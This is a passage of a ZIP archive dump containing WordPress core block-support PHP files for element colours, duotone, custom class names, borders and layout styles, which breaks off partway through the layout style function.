﻿PK       ! !  !    elements.phpnu [        <?php
/**
 * Elements styles block support.
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Gets the elements class names.
 *
 * @since 6.0.0
 * @access private
 *
 * @param array $block Block object.
 * @return string The unique class name.
 */
function wp_get_elements_class_name( $block ) {
	return 'wp-elements-' . md5( serialize( $block ) );
}

/**
 * Determines whether an elements class name should be added to the block.
 *
 * @since 6.6.0
 * @access private
 *
 * @param  array $block   Block object.
 * @param  array $options Per element type options e.g. whether to skip serialization.
 * @return boolean Whether the block needs an elements class name.
 */
function wp_should_add_elements_class_name( $block, $options ) {
	if ( ! isset( $block['attrs']['style']['elements'] ) ) {
		return false;
	}

	$element_color_properties = array(
		'button'  => array(
			'skip'  => isset( $options['button']['skip'] ) ? $options['button']['skip'] : false,
			'paths' => array(
				array( 'button', 'color', 'text' ),
				array( 'button', 'color', 'background' ),
				array( 'button', 'color', 'gradient' ),
			),
		),
		'link'    => array(
			'skip'  => isset( $options['link']['skip'] ) ? $options['link']['skip'] : false,
			'paths' => array(
				array( 'link', 'color', 'text' ),
				array( 'link', ':hover', 'color', 'text' ),
			),
		),
		'heading' => array(
			'skip'  => isset( $options['heading']['skip'] ) ? $options['heading']['skip'] : false,
			'paths' => array(
				array( 'heading', 'color', 'text' ),
				array( 'heading', 'color', 'background' ),
				array( 'heading', 'color', 'gradient' ),
				array( 'h1', 'color', 'text' ),
				array( 'h1', 'color', 'background' ),
				array( 'h1', 'color', 'gradient' ),
				array( 'h2', 'color', 'text' ),
				array( 'h2', 'color', 'background' ),
				array( 'h2', 'color', 'gradient' ),
				array( 'h3', 'color', 'text' ),
				array( 'h3', 'color', 'background' ),
				array( 'h3', 'color', 'gradient' ),
				array( 'h4', 'color', 'text' ),
				array( 'h4', 'color', 'background' ),
				array( 'h4', 'color', 'gradient' ),
				array( 'h5', 'color', 'text' ),
				array( 'h5', 'color', 'background' ),
				array( 'h5', 'color', 'gradient' ),
				array( 'h6', 'color', 'text' ),
				array( 'h6', 'color', 'background' ),
				array( 'h6', 'color', 'gradient' ),
			),
		),
	);

	$elements_style_attributes = $block['attrs']['style']['elements'];

	foreach ( $element_color_properties as $element_config ) {
		if ( $element_config['skip'] ) {
			continue;
		}

		foreach ( $element_config['paths'] as $path ) {
			if ( null !== _wp_array_get( $elements_style_attributes, $path, null ) ) {
				return true;
			}
		}
	}

	return false;
}

/**
 * Render the elements stylesheet and adds elements class name to block as required.
 *
 * In the case of nested blocks we want the parent element styles to be rendered before their descendants.
 * This solves the issue of an element (e.g.: link color) being styled in both the parent and a descendant:
 * we want the descendant style to take priority, and this is done by loading it after, in DOM order.
 *
 * @since 6.0.0
 * @since 6.1.0 Implemented the style engine to generate CSS and classnames.
 * @since 6.6.0 Element block support class and styles are generated via the `render_block_data` filter instead of `pre_render_block`.
 * @access private
 *
 * @param array $parsed_block The parsed block.
 * @return array The same parsed block with elements classname added if appropriate.
 */
function wp_render_elements_support_styles( $parsed_block ) {
	/*
	 * The generation of element styles and classname were moved to the
	 * `render_block_data` filter in 6.6.0 to avoid filtered attributes
	 * breaking the application of the elements CSS class.
	 *
	 * @see https://github.com/WordPress/gutenberg/pull/59535
	 *
	 * The change in filter means, the argument types for this function
	 * have changed and require deprecating.
	 */
	if ( is_string( $parsed_block ) ) {
		_deprecated_argument(
			__FUNCTION__,
			'6.6.0',
			__( 'Use as a `pre_render_block` filter is deprecated. Use with `render_block_data` instead.' )
		);
	}

	$block_type           = WP_Block_Type_Registry::get_instance()->get_registered( $parsed_block['blockName'] );
	$element_block_styles = isset( $parsed_block['attrs']['style']['elements'] ) ? $parsed_block['attrs']['style']['elements'] : null;

	if ( ! $element_block_styles ) {
		return $parsed_block;
	}

	$skip_link_color_serialization         = wp_should_skip_block_supports_serialization( $block_type, 'color', 'link' );
	$skip_heading_color_serialization      = wp_should_skip_block_supports_serialization( $block_type, 'color', 'heading' );
	$skip_button_color_serialization       = wp_should_skip_block_supports_serialization( $block_type, 'color', 'button' );
	$skips_all_element_color_serialization = $skip_link_color_serialization &&
		$skip_heading_color_serialization &&
		$skip_button_color_serialization;

	if ( $skips_all_element_color_serialization ) {
		return $parsed_block;
	}

	$options = array(
		'button'  => array( 'skip' => $skip_button_color_serialization ),
		'link'    => array( 'skip' => $skip_link_color_serialization ),
		'heading' => array( 'skip' => $skip_heading_color_serialization ),
	);

	if ( ! wp_should_add_elements_class_name( $parsed_block, $options ) ) {
		return $parsed_block;
	}

	$class_name         = wp_get_elements_class_name( $parsed_block );
	$updated_class_name = isset( $parsed_block['attrs']['className'] ) ? $parsed_block['attrs']['className'] . " $class_name" : $class_name;

	_wp_array_set( $parsed_block, array( 'attrs', 'className' ), $updated_class_name );

	// Generate element styles based on selector and store in style engine for enqueuing.
	$element_types = array(
		'button'  => array(
			'selector' => ".$class_name .wp-element-button, .$class_name .wp-block-button__link",
			'skip'     => $skip_button_color_serialization,
		),
		'link'    => array(
			'selector'       => ".$class_name a:where(:not(.wp-element-button))",
			'hover_selector' => ".$class_name a:where(:not(.wp-element-button)):hover",
			'skip'           => $skip_link_color_serialization,
		),
		'heading' => array(
			'selector' => ".$class_name h1, .$class_name h2, .$class_name h3, .$class_name h4, .$class_name h5, .$class_name h6",
			'skip'     => $skip_heading_color_serialization,
			'elements' => array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ),
		),
	);

	foreach ( $element_types as $element_type => $element_config ) {
		if ( $element_config['skip'] ) {
			continue;
		}

		$element_style_object = isset( $element_block_styles[ $element_type ] ) ? $element_block_styles[ $element_type ] : null;

		// Process primary element type styles.
		if ( $element_style_object ) {
			wp_style_engine_get_styles(
				$element_style_object,
				array(
					'selector' => $element_config['selector'],
					'context'  => 'block-supports',
				)
			);

			if ( isset( $element_style_object[':hover'] ) ) {
				wp_style_engine_get_styles(
					$element_style_object[':hover'],
					array(
						'selector' => $element_config['hover_selector'],
						'context'  => 'block-supports',
					)
				);
			}
		}

		// Process related elements e.g. h1-h6 for headings.
		if ( isset( $element_config['elements'] ) ) {
			foreach ( $element_config['elements'] as $element ) {
				$element_style_object = isset( $element_block_styles[ $element ] )
					? $element_block_styles[ $element ]
					: null;

				if ( $element_style_object ) {
					wp_style_engine_get_styles(
						$element_style_object,
						array(
							'selector' => ".$class_name $element",
							'context'  => 'block-supports',
						)
					);
				}
			}
		}
	}

	return $parsed_block;
}

/**
 * Ensure the elements block support class name generated, and added to
 * block attributes, in the `render_block_data` filter gets applied to the
 * block's markup.
 *
 * @see wp_render_elements_support_styles
 * @since 6.6.0
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string                Filtered block content.
 */
function wp_render_elements_class_name( $block_content, $block ) {
	$class_string = $block['attrs']['className'] ?? '';
	preg_match( '/\bwp-elements-\S+\b/', $class_string, $matches );

	if ( empty( $matches ) ) {
		return $block_content;
	}

	$tags = new WP_HTML_Tag_Processor( $block_content );

	if ( $tags->next_tag() ) {
		$tags->add_class( $matches[0] );
	}

	return $tags->get_updated_html();
}

add_filter( 'render_block', 'wp_render_elements_class_name', 10, 2 );
add_filter( 'render_block_data', 'wp_render_elements_support_styles', 10, 1 );
PK       ! F
  
    duotone.phpnu [        <?php
/**
 * Duotone block support flag.
 *
 * Parts of this source were derived and modified from TinyColor,
 * released under the MIT license.
 *
 * https://github.com/bgrins/TinyColor
 *
 * Copyright (c), Brian Grinstead, http://briangrinstead.com
 *
 * Permission is hereby granted, free of charge, to any person obtaining
 * a copy of this software and associated documentation files (the
 * "Software"), to deal in the Software without restriction, including
 * without limitation the rights to use, copy, modify, merge, publish,
 * distribute, sublicense, and/or sell copies of the Software, and to
 * permit persons to whom the Software is furnished to do so, subject to
 * the following conditions:
 *
 * The above copyright notice and this permission notice shall be
 * included in all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
 * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
 * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
 * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
 * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
 * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 *
 * @package WordPress
 * @since 5.8.0
 */

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'duotone',
	array(
		'register_attribute' => array( 'WP_Duotone', 'register_duotone_support' ),
	)
);

// Add classnames to blocks using duotone support.
add_filter( 'render_block', array( 'WP_Duotone', 'render_duotone_support' ), 10, 3 );
add_filter( 'render_block_core/image', array( 'WP_Duotone', 'restore_image_outer_container' ), 10, 1 );

// Enqueue styles.
// Block styles (core-block-supports-inline-css) before the style engine (wp_enqueue_stored_styles).
// Global styles (global-styles-inline-css) after the other global styles (wp_enqueue_global_styles).
add_action( 'wp_enqueue_scripts', array( 'WP_Duotone', 'output_block_styles' ), 9 );
add_action( 'wp_enqueue_scripts', array( 'WP_Duotone', 'output_global_styles' ), 11 );

// Add SVG filters to the footer. Also, for classic themes, output block styles (core-block-supports-inline-css).
add_action( 'wp_footer', array( 'WP_Duotone', 'output_footer_assets' ), 10 );

// Add styles and SVGs for use in the editor via the EditorStyles component.
add_filter( 'block_editor_settings_all', array( 'WP_Duotone', 'add_editor_settings' ), 10 );

// Migrate the old experimental duotone support flag.
add_filter( 'block_type_metadata_settings', array( 'WP_Duotone', 'migrate_experimental_duotone_support_flag' ), 10, 2 );
PK       ! {/      custom-classname.phpnu [        <?php
/**
 * Custom classname block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Registers the custom classname block attribute for block types that support it.
 *
 * @since 5.6.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_custom_classname_support( $block_type ) {
	$has_custom_classname_support = block_has_support( $block_type, 'customClassName', true );

	if ( $has_custom_classname_support ) {
		if ( ! $block_type->attributes ) {
			$block_type->attributes = array();
		}

		if ( ! array_key_exists( 'className', $block_type->attributes ) ) {
			$block_type->attributes['className'] = array(
				'type' => 'string',
			);
		}
	}
}

/**
 * Adds the custom classnames to the output.
 *
 * @since 5.6.0
 * @access private
 *
 * @param  WP_Block_Type $block_type       Block Type.
 * @param  array         $block_attributes Block attributes.
 *
 * @return array Block CSS classes and inline styles.
 */
function wp_apply_custom_classname_support( $block_type, $block_attributes ) {
	$has_custom_classname_support = block_has_support( $block_type, 'customClassName', true );
	$attributes                   = array();
	if ( $has_custom_classname_support ) {
		$has_custom_classnames = array_key_exists( 'className', $block_attributes );

		if ( $has_custom_classnames ) {
			$attributes['class'] = $block_attributes['className'];
		}
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'custom-classname',
	array(
		'register_attribute' => 'wp_register_custom_classname_support',
		'apply'              => 'wp_apply_custom_classname_support',
	)
);
PK       ! @    
  border.phpnu [        <?php
/**
 * Border block support flag.
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Registers the style attribute used by the border feature if needed for block
 * types that support borders.
 *
 * @since 5.8.0
 * @since 6.1.0 Improved conditional blocks optimization.
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_border_support( $block_type ) {
	// Setup attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( block_has_support( $block_type, '__experimentalBorder' ) && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}

	if ( wp_has_border_feature_support( $block_type, 'color' ) && ! array_key_exists( 'borderColor', $block_type->attributes ) ) {
		$block_type->attributes['borderColor'] = array(
			'type' => 'string',
		);
	}
}

/**
 * Adds CSS classes and inline styles for border styles to the incoming
 * attributes array. This will be applied to the block markup in the front-end.
 *
 * @since 5.8.0
 * @since 6.1.0 Implemented the style engine to generate CSS and classnames.
 * @access private
 *
 * @param WP_Block_Type $block_type       Block type.
 * @param array         $block_attributes Block attributes.
 * @return array Border CSS classes and inline styles.
 */
function wp_apply_border_support( $block_type, $block_attributes ) {
	if ( wp_should_skip_block_supports_serialization( $block_type, 'border' ) ) {
		return array();
	}

	$border_block_styles      = array();
	$has_border_color_support = wp_has_border_feature_support( $block_type, 'color' );
	$has_border_width_support = wp_has_border_feature_support( $block_type, 'width' );

	// Border radius.
	if (
		wp_has_border_feature_support( $block_type, 'radius' ) &&
		isset( $block_attributes['style']['border']['radius'] ) &&
		! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'radius' )
	) {
		$border_radius = $block_attributes['style']['border']['radius'];

		if ( is_numeric( $border_radius ) ) {
			$border_radius .= 'px';
		}

		$border_block_styles['radius'] = $border_radius;
	}

	// Border style.
	if (
		wp_has_border_feature_support( $block_type, 'style' ) &&
		isset( $block_attributes['style']['border']['style'] ) &&
		! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'style' )
	) {
		$border_block_styles['style'] = $block_attributes['style']['border']['style'];
	}

	// Border width.
	if (
		$has_border_width_support &&
		isset( $block_attributes['style']['border']['width'] ) &&
		! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'width' )
	) {
		$border_width = $block_attributes['style']['border']['width'];

		// This check handles original unitless implementation.
		if ( is_numeric( $border_width ) ) {
			$border_width .= 'px';
		}

		$border_block_styles['width'] = $border_width;
	}

	// Border color.
	if (
		$has_border_color_support &&
		! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'color' )
	) {
		$preset_border_color          = array_key_exists( 'borderColor', $block_attributes ) ? "var:preset|color|{$block_attributes['borderColor']}" : null;
		$custom_border_color          = isset( $block_attributes['style']['border']['color'] ) ? $block_attributes['style']['border']['color'] : null;
		$border_block_styles['color'] = $preset_border_color ? $preset_border_color : $custom_border_color;
	}

	// Generates styles for individual border sides.
	if ( $has_border_color_support || $has_border_width_support ) {
		foreach ( array( 'top', 'right', 'bottom', 'left' ) as $side ) {
			$border                       = isset( $block_attributes['style']['border'][ $side ] ) ? $block_attributes['style']['border'][ $side ] : null;
			$border_side_values           = array(
				'width' => isset( $border['width'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'width' ) ? $border['width'] : null,
				'color' => isset( $border['color'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'color' ) ? $border['color'] : null,
				'style' => isset( $border['style'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'style' ) ? $border['style'] : null,
			);
			$border_block_styles[ $side ] = $border_side_values;
		}
	}

	// Collect classes and styles.
	$attributes = array();
	$styles     = wp_style_engine_get_styles( array( 'border' => $border_block_styles ) );

	if ( ! empty( $styles['classnames'] ) ) {
		$attributes['class'] = $styles['classnames'];
	}

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

/**
 * Checks whether the current block type supports the border feature requested.
 *
 * If the `__experimentalBorder` support flag is a boolean `true` all border
 * support features are available. Otherwise, the specific feature's support
 * flag nested under `experimentalBorder` must be enabled for the feature
 * to be opted into.
 *
 * @since 5.8.0
 * @access private
 *
 * @param WP_Block_Type $block_type    Block type to check for support.
 * @param string        $feature       Name of the feature to check support for.
 * @param mixed         $default_value Fallback value for feature support, defaults to false.
 * @return bool Whether the feature is supported.
 */
function wp_has_border_feature_support( $block_type, $feature, $default_value = false ) {
	// Check if all border support features have been opted into via `"__experimentalBorder": true`.
	if ( $block_type instanceof WP_Block_Type ) {
		$block_type_supports_border = isset( $block_type->supports['__experimentalBorder'] )
			? $block_type->supports['__experimentalBorder']
			: $default_value;
		if ( true === $block_type_supports_border ) {
			return true;
		}
	}

	// Check if the specific feature has been opted into individually
	// via nested flag under `__experimentalBorder`.
	return block_has_support( $block_type, array( '__experimentalBorder', $feature ), $default_value );
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'border',
	array(
		'register_attribute' => 'wp_register_border_support',
		'apply'              => 'wp_apply_border_support',
	)
);
PK       ! Y    
  layout.phpnu [        <?php
/**
 * Layout block support flag.
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Returns layout definitions, keyed by layout type.
 *
 * Provides a common definition of slugs, classnames, base styles, and spacing styles for each layout type.
 * When making changes or additions to layout definitions, the corresponding JavaScript definitions should
 * also be updated.
 *
 * @since 6.3.0
 * @since 6.6.0 Updated specificity for compatibility with 0-1-0 global styles specificity.
 * @access private
 *
 * @return array[] Layout definitions.
 */
function wp_get_layout_definitions() {
	$layout_definitions = array(
		'default'     => array(
			'name'          => 'default',
			'slug'          => 'flow',
			'className'     => 'is-layout-flow',
			'baseStyles'    => array(
				array(
					'selector' => ' > .alignleft',
					'rules'    => array(
						'float'               => 'left',
						'margin-inline-start' => '0',
						'margin-inline-end'   => '2em',
					),
				),
				array(
					'selector' => ' > .alignright',
					'rules'    => array(
						'float'               => 'right',
						'margin-inline-start' => '2em',
						'margin-inline-end'   => '0',
					),
				),
				array(
					'selector' => ' > .aligncenter',
					'rules'    => array(
						'margin-left'  => 'auto !important',
						'margin-right' => 'auto !important',
					),
				),
			),
			'spacingStyles' => array(
				array(
					'selector' => ' > :first-child',
					'rules'    => array(
						'margin-block-start' => '0',
					),
				),
				array(
					'selector' => ' > :last-child',
					'rules'    => array(
						'margin-block-end' => '0',
					),
				),
				array(
					'selector' => ' > *',
					'rules'    => array(
						'margin-block-start' => null,
						'margin-block-end'   => '0',
					),
				),
			),
		),
		'constrained' => array(
			'name'          => 'constrained',
			'slug'          => 'constrained',
			'className'     => 'is-layout-constrained',
			'baseStyles'    => array(
				array(
					'selector' => ' > .alignleft',
					'rules'    => array(
						'float'               => 'left',
						'margin-inline-start' => '0',
						'margin-inline-end'   => '2em',
					),
				),
				array(
					'selector' => ' > .alignright',
					'rules'    => array(
						'float'               => 'right',
						'margin-inline-start' => '2em',
						'margin-inline-end'   => '0',
					),
				),
				array(
					'selector' => ' > .aligncenter',
					'rules'    => array(
						'margin-left'  => 'auto !important',
						'margin-right' => 'auto !important',
					),
				),
				array(
					'selector' => ' > :where(:not(.alignleft):not(.alignright):not(.alignfull))',
					'rules'    => array(
						'max-width'    => 'var(--wp--style--global--content-size)',
						'margin-left'  => 'auto !important',
						'margin-right' => 'auto !important',
					),
				),
				array(
					'selector' => ' > .alignwide',
					'rules'    => array(
						'max-width' => 'var(--wp--style--global--wide-size)',
					),
				),
			),
			'spacingStyles' => array(
				array(
					'selector' => ' > :first-child',
					'rules'    => array(
						'margin-block-start' => '0',
					),
				),
				array(
					'selector' => ' > :last-child',
					'rules'    => array(
						'margin-block-end' => '0',
					),
				),
				array(
					'selector' => ' > *',
					'rules'    => array(
						'margin-block-start' => null,
						'margin-block-end'   => '0',
					),
				),
			),
		),
		'flex'        => array(
			'name'          => 'flex',
			'slug'          => 'flex',
			'className'     => 'is-layout-flex',
			'displayMode'   => 'flex',
			'baseStyles'    => array(
				array(
					'selector' => '',
					'rules'    => array(
						'flex-wrap'   => 'wrap',
						'align-items' => 'center',
					),
				),
				array(
					'selector' => ' > :is(*, div)', // :is(*, div) instead of just * increases the specificity by 001.
					'rules'    => array(
						'margin' => '0',
					),
				),
			),
			'spacingStyles' => array(
				array(
					'selector' => '',
					'rules'    => array(
						'gap' => null,
					),
				),
			),
		),
		'grid'        => array(
			'name'          => 'grid',
			'slug'          => 'grid',
			'className'     => 'is-layout-grid',
			'displayMode'   => 'grid',
			'baseStyles'    => array(
				array(
					'selector' => ' > :is(*, div)', // :is(*, div) instead of just * increases the specificity by 001.
					'rules'    => array(
						'margin' => '0',
					),
				),
			),
			'spacingStyles' => array(
				array(
					'selector' => '',
					'rules'    => array(
						'gap' => null,
					),
				),
			),
		),
	);

	return $layout_definitions;
}

/**
 * Registers the layout block attribute for block types that support it.
 *
 * @since 5.8.0
 * @since 6.3.0 Check for layout support via the `layout` key with fallback to `__experimentalLayout`.
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_layout_support( $block_type ) {
	$support_layout = block_has_support( $block_type, 'layout', false ) || block_has_support( $block_type, '__experimentalLayout', false );
	if ( $support_layout ) {
		if ( ! $block_type->attributes ) {
			$block_type->attributes = array();
		}

		if ( ! array_key_exists( 'layout', $block_type->attributes ) ) {
			$block_type->attributes['layout'] = array(
				'type' => 'object',
			);
		}
	}
}

/**
 * Generates the CSS corresponding to the provided layout.
 *
 * @since 5.9.0
 * @since 6.1.0 Added `$block_spacing` param, use style engine to enqueue styles.
 * @since 6.3.0 Added grid layout type.
 * @since 6.6.0 Removed duplicated selector from layout styles.
 *              Enabled negative margins for alignfull children of blocks with custom padding.
 * @access private
 *
 * @param string               $selector                      CSS selector.
 * @param array                $layout                        Layout object. The one that is passed has already checked
 *                                                            the existence of default block layout.
 * @param bool                 $has_block_gap_support         Optional. Whether the theme has support for the block gap. Default false.
 * @param string|string[]|null $gap_value                     Optional. The block gap value to apply. Default null.
 * @param bool                 $should_skip_gap_serialization Optional. Whether to skip applying the user-defined value set in the editor. Default false.
 * @param string               $fallback_gap_value            Optional. The block gap value to apply. Default '0.5em'.
 * @param array|null           $block_spacing                 Optional. Custom spacing set on the block. Default null.
 * @return string CSS styles on success. Else, empty string.
 */
function wp_get_layout_style( $selector, $layout, $has_block_gap_support = false, $gap_value = null, $should_skip_gap_serialization = false, $fallback_gap_value = '0.5em', $block_spacing = null ) {
	$layout_type   = isset( $layout['type'] ) ? $layout['type'] : 'default';
	$layout_styles = array();

	if ( 'default' === $layout_type ) {
		if ( $has_block_gap_support ) {
			if ( is_array( $gap_value ) ) {
				$gap_value = isset( $gap_value['top'] ) ? $gap_value['top'] : null;
			}
			if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
				// Get spacing CSS variable from preset value if provided.
				if ( is_string( $gap_value ) && str_contains( $gap_value, 'var:preset|spacing|' ) ) {
					$index_to_splice = strrpos( $gap_value, '|' ) + 1;
					$slug            = _wp_to_kebab_case( substr( $gap_value, $index_to_splice ) );
					$gap_value       = "var(--wp--preset--spacing--$slug)";
				}

				array_push(
					$layout_styles,
					array(
						'selector'     => "$selector > *",
						'declarations' => array(
							'margin-block-start' => '0',
							'margin-block-end'   => '0',
						),
					),
					array(
						'selector'     => "$selector > * + *",
						'declarations' => array(
							'margin-block-start' => $gap_value,
							'margin-block-end'   => '0',
						),
					)
				);
			}
		}
	} elseif ( 'constrained' === $layout_type ) {
		$content_size    = isset( $layout['contentSize'] ) ? $layout['contentSize'] : '';
		$wide_size       = isset( $layout['wideSize'] ) ? $layout['wideSize'] : '';
		$justify_content = isset( $layout['justifyContent'] ) ? $layout['justifyContent'] : 'center';

		$all_max_width_value  = $content_size ? $content_size : $wide_size;
		$wide_max_width_value = $wide_size ? $wide_size : $content_size;

		// Make sure there is a single CSS rule, and all tags are stripped for security.
		$all_max_width_value  = safecss_filter_attr( explode( ';', $all_max_width_value )[0] );
		$wide_max_width_value = safecss_filter_attr( explode( ';', $wide_max_width_value )[0] );

		$margin_left  = 'left' === $justify_content ? '0 !important' : 'auto !important';
		$margin_right = 'right' === $justify_content ? '0 !important' : 'auto !important';

		if ( $content_size || $wide_size ) {
			array_push(
				$layout_styles,
				array(
					'selector'     => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))",
					'declarations' => array(
						'max-width'    => $all_max_width_value,
						'margin-left'  => $margin_left,
						'margin-right' => $margin_right,
					),
				),
				array(
					'selector'     => "$selector > .alignwide",
					'declarations' => array( 'max-width' => $wide_max_width_value ),
				),
				array(
					'selector'     => "$selector .alignfull",
					'declarations' => array( 'max-width' => 'none' ),
				)
			);
		}

		if ( isset( $block_spacing ) ) {
			$block_spacing_values = wp_style_engine_get_styles(
				array(
					'spacing' => $block_spacing,
				)
			);

			/*
			 * Handle negative margins for alignfull children of blocks with custom padding set.
			 * They're added separately because padding might only be set on one side.
			 */
			if ( isset( $block_spacing_values['declarations']['padding-right'] ) ) {
				$padding_right = $block_spacing_values['declarations']['padding-right'];
				// Add unit if 0.
				if ( '0' === $padding_right ) {
					$padding_right = '0px';
				}
				$layout_styles[] = array(
					'selector'     => "$selector > .alignfull",
					'declarations' => array( 'margin-right' => "calc($padding_right * -1)" ),
				);
			}
			if ( isset( $block_spacing_values['declarations']['padding-left'] ) ) {
				$padding_left = $block_spacing_values['declarations']['padding-left'];
				// Add unit if 0.
				if ( '0' === $padding_left ) {
					$padding_left = '0px';
				}
				$layout_styles[] = array(
					'selector'     => "$selector > .alignfull",
					'declarations' => array( 'margin-left' => "calc($padding_left * -1)" ),
				);
			}
		}

		if ( 'left' === $justify_content ) {
			$layout_styles[] = array(
				'selector'     => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))",
				'declarations' => array( 'margin-left' => '0 !important' ),
			);
		}

		if ( 'right' === $justify_content ) {
			$layout_styles[] = array(
				'selector'     => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))",
				'declarations' => array( 'margin-right' => '0 !important' ),
			);
		}

		if ( $has_block_gap_support ) {
			if ( is_array( $gap_value ) ) {
				$gap_value = isset( $gap_value['top'] ) ? $gap_value['top'] : null;
			}
			if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
				// Get spacing CSS variable from preset value if provided.
				if ( is_string( $gap_value ) && str_contains( $gap_value, 'var:preset|spacing|' ) ) {
					$index_to_splice = strrpos( $gap_value, '|' ) + 1;
					$slug            = _wp_to_kebab_case( substr( $gap_value, $index_to_splice ) );
					$gap_value       = "var(--wp--preset--spacing--$slug)";
				}

				array_push(
					$layout_styles,
					array(
						'selector'     => "$selector > *",
						'declarations' => array(
							'margin-block-start' => '0',
							'margin-block-end'   => '0',
						),
					),
					array(
						'selector'     => "$selector > * + *",
						'declarations' => array(
							'margin-block-start' => $gap_value,
							'margin-block-end'   => '0',
						),
					)
				);
			}
		}
	} elseif ( 'flex' === $layout_type ) {
		$layout_orientation = isset( $layout['orientation'] ) ? $layout['orientation'] : 'horizontal';

		$justify_content_options = array(
			'left'   => 'flex-start',
			'right'  => 'flex-end',
			'center' => 'center',
		);

		$vertical_alignment_options = array(
			'top'    => 'flex-start',
			'center' => 'center',
			'bottom' => 'flex-end',
		);

		if ( 'horizontal' === $layout_orientation ) {
			$justify_content_options    += array( 'space-between' => 'space-between' );
			$vertical_alignment_options += array( 'stretch' => 'stretch' );
		} else {
			$justify_content_options    += array( 'stretch' => 'stretch' );
			$vertical_alignment_options += array( 'space-between' => 'space-between' );
		}

		if ( ! empty( $layout['flexWrap'] ) && 'nowrap' === $layout['flexWrap'] ) {
			$layout_styles[] = array(
				'selector'     => $selector,
				'declarations' => array( 'flex-wrap' => 'nowrap' ),
			);
		}

		if ( $has_block_gap_support && isset( $gap_value ) ) {
			$combined_gap_value = '';
			$gap_sides          = is_array( $gap_value ) ? array( 'top', 'left' ) : array( 'top' );

			foreach ( $gap_sides as $gap_side ) {
				$process_value = $gap_value;
				if ( is_array( $gap_value ) ) {
					$process_value = isset( $gap_value[ $gap_side ] ) ? $gap_value[ $gap_side ] : $fallback_gap_value;
				}
				// Get spacing CSS variable from preset value if provided.
				if ( is_string( $process_value ) && str_contains( $process_value, 'var:preset|spacing|' ) ) {
					$index_to_splice = strrpos( $process_value, '|' ) + 1;
					$slug            = _wp_to_kebab_case( substr( $process_value, $index_to_splice ) );
					$process_value   = "var(--wp--preset--spacing--$slug)";
				}
				$combined_gap_value .= "$process_value ";
			}
			$gap_value = trim( $combined_gap_value );

			if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'gap' => $gap_value ),
				);
			}
		}

		if ( 'horizontal' === $layout_orientation ) {
			/*
			 * Add this style only if is not empty for backwards compatibility,
			 * since we intend to convert blocks that had flex layout implemented
			 * by custom css.
			 */
			if ( ! empty( $layout['justifyContent'] ) && array_key_exists( $layout['justifyContent'], $justify_content_options ) ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'justify-content' => $justify_content_options[ $layout['justifyContent'] ] ),
				);
			}

			if ( ! empty( $layout['verticalAlignment'] ) && array_key_exists( $layout['verticalAlignment'], $vertical_alignment_options ) ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'align-items' => $vertical_alignment_options[ $layout['verticalAlignment'] ] ),
				);
			}
		} else {
			$layout_styles[] = array(
				'selector'     => $selector,
				'declarations' => array( 'flex-direction' => 'column' ),
			);
			if ( ! empty( $layout['justifyContent'] ) && array_key_exists( $layout['justifyContent'], $justify_content_options ) ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'align-items' => $justify_content_options[ $layout['justifyContent'] ] ),
				);
			} else {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'align-items' => 'flex-start' ),
				);
			}
			if ( ! empty( $layout['verticalAlignment'] ) && array_key_exists( $layout['verticalAlignment'], $vertical_alignment_options ) ) {
				$layout_styles[] = array(
					'selector'     => $selector,
					'declarations' => array( 'justify-content' => $vertical_alignment_options[ $layout['verticalAlignment'] ] ),
				);
			}
		}
	} elseif ( 'grid' === $layout_type ) {
		if ( ! empty( $layout['columnCount'] ) ) {
			$layout_styles[] = array(
				'selector'     => $selector,
				'declarations' => array( 'grid-template-columns' => 'repeat(' . $layout['columnCount'] . ', minmax(0, 1fr))' ),
			);
		} else {
			$minimum_column_width = ! empty( $layout['minimumColumnWidth'] ) ? $layout['minimumColumnWidth'] : '12rem';

			$layout_styles[] = array(
				'selector'     => $selector,
